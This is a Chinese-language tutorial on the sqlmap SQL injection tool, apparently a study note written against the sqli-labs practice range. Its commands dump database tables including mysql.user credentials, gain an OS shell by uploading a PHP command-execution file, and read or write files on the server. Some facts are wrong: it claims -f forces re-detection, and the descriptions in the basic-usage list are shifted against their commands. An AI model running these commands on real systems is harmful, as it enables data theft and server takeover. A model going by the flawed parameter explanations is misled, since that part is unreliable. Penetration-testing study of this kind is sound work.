目录
1.学会sqlmap工具的使用方法,并理解sqlmap常见参数的意义。
3. 如何指定只探测某一种注入类型,比如指定只探测是否存在布尔盲注
8. 如何让sqlmap发送的探测数据包经过burpsuite,并观察sqlmap发送的数据包
9. 参数--os-shell 和--sql-shell 分别代表什么
10. 如何让sqlmap探测漏洞时显示每次发包的payload是什么
0x01 学习目标
1.学会sqlmap工具的使用方法,并理解sqlmap常见参数的意义。
sqlmap工具常见参数及其意义:
-r 读取抓包文件
-p 需要检测的参数
--technique 需要检测的注入方式
eg:sqlmap -u "http://URL/?id=1" --dbs --batch --technique B
B:Boolean-based-blind (布尔型注入)
U:Union query-based (联合注入)
E:Error-based (报错型注入)
S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)
T:Time-based blind (基于时间延迟注入)
--batch 默认选择
--threads 线程数
-data 传入post参数(免去抓包)
--dbs 爆破数据库
获取数据库的常用参数
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--tables 列出当前的表
--columns 列出当前的列
--dump 获取字段中的数据
2.如何传输post请求包并进行利用
通过 "-r" 参数传递 POST 请求包,例如:sqlmap -r request.txt。 (本文是对sqli靶场进行测试的)下面将利用该参数进行注入检查。
2.1 通过burpsuit抓取数据包导入进sqlmap进行注入检测
使用sqlmap载入导出的数据包并进行注入检测
2.2 查询注入点
sqlmap.py -r request.txt
2.3 查询数据库
sqlmap.py -r request.txt --dbs
2.4 查询指定数据库的表
sqlmap.py -r request.txt -D mysql --tables
2.5 查询指定数据库指定表的指定字段
sqlmap.py -r request.txt -D mysql -T user --columns
2.6 查询指定数据库指定表的指定字段的数据:
sqlmap.py -r request.txt -D mysql -T user -C User --dump
3. 如何指定只探测某一种注入类型,比如指定只探测是否存在布尔盲注
使用 --technique
参数来指定探测的 SQL 注入类型。例如,如果你只想探测 UNION-based 注入,可以使用以下命令:
sqlmap.py -u "http://example.com/?y=x" --technique U
其中,
-u
参数表示目标 URL,--technique
参数后面的U
表示 UNION-based 注入。除了U
,还可以指定其他类型的注入方式,如B
(布尔盲注)、E
(错误信息注入)等。如果要指定多种注入类型,可以使用逗号分隔,如-technique U,B
表示探测 UNION-based 和布尔盲注类型的注入。
使用 "--technique=B" 参数指定只探测布尔盲注,例如:
sqlmap.py -u "http://example.com/?y=x" --technique=B。
eg:
4. 如何指定 随机的user-agent
随机 User-Agent 的命令:sqlmap.py -u "http://example.com/index.php?id=1" --random-agent
该命令中使用了 "--random-agent" 参数来指定随机 User-Agent,这样每次分析请求时,Sqlmap 都会随机选择一个 User-Agent 作为当前请求的 User-Agent。
eg:
5. 如何刷新之前的记录重新探测某个数据包是否存在注入
通过 "-f" 参数强制重新探测之前的记录,例如:sqlmap -r request.txt -f。
6. 如何指定post包中的某个参数,只对这个参数进行探测
使用 "-p" 参数指定只对 POST 参数进行探测,例如:sqlmap -r request.txt -p "username"。
7. 如何提升sql注入漏洞探测等级
使用 "--level" 参数提升探测等级,例如:sqlmap.py -u "[http://example.com](http://example.com/)" --level=3。
Sqlmap 的参数 --level ,它共分为 5 个等级:
--level 1:即默认模式,当你不使用这个参数时,默认 level 为1,该情况下能够测试的返回很小,使用的 payload 很少。
--level 2 或者更高时:Sqlmap 会检测 cookie 是否存在注入。
--level 3 或者更高时:Sqlmap 会检测 User-Agent 或者 Referer(也属于头部信息) 是否存在注入。
--level 5:Sqlmap 会检测 Host 是否存在注入。
eg:
8. 如何让sqlmap发送的探测数据包经过burpsuite,并观察sqlmap发送的数据包
使用 "--proxy" 参数指定使用 Burp Suite 代理进行探测,例如:sqlmap.py -u "http://example.com/" --proxy=http://127.0.0.1:8080/。
9. 参数--os-shell 和--sql-shell 分别代表什么
"--os-shell" 参数指定获取操作系统的命令行 shell,"--sql-shell" 指定获取 SQL Shell,例如:sqlmap.py -u "http://example.com" --os-shell。
前提:MySQL my.ini配置文件secure_file_priv要为空
步骤:首先查看MySQL中my.ini配置文件secure_file_priv是否为空,若不为空再文件中添加secure_file_priv="";添加后重启phpstudy再连接navicat查看是否是否修改成功(show global variables like '%secure%';)如图:
然后执行命令:Python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -v 3 --os-shell
原理:在指定路径上传一个php文件(如tmpucjis.php)文件内容编码为十六进制,主要实现了文件上传的功能。
把tmpblqoi.php文件上传到指定路径该文件主要功能是执行系统命令从而与工具os-shell>模块相对应。
10. 如何让sqlmap探测漏洞时显示每次发包的payload是什么
在 Sqlmap 命令中添加-v 选项,来使 Sqlmap 显示每次发包的负载(payload)信息。例如:
sqlmap.py -u http://example.com/vuln_page.php?id=1 -v 3
其中,"-u" 选项指定要测试的目标 URL,"-v 3" 则是启用调试模式
0x02 sqlmap的基本用法
-
扫描目标网站,确定是否存在 SQL 注入漏洞:
sqlmap -u <URL> --dbs
-
列出目标网站的所有数据库:
sqlmap -u <URL> -D mysql --tables
-
列出指定数据库中的所有数据表:
sqlmap -u <URL> -D mysql -T user --columns
-
列出指定数据表中的所有列:
sqlmap -u <URL> -D mysql -T user -C username,password --dump
-
获取完整的数据库数据:
sqlmap -u <URL> -D mysql --dump
-
执行系统命令:
sqlmap -u <URL> --os-shell
-
获取当前用户:
sqlmap -u <URL> --current-user
-
获取当前数据库:
sqlmap -u <URL> --current-db
0x03 使用sqlmap工具读写文件
1.文件读取
sqlmap -u "http://example/example.php?id=1" --file-read "E:\mm.php"
2. 文件写入
sqlmap -u "http://example/example.php?id=1" --file-write "/home/bb/1.txt" --file-dest "E:\sql2.php" --batch
0x04 总结
下载链接:sqlmap: automatic SQL injection and database takeover tool
鉴于个人实力有限,若有错误还望指正。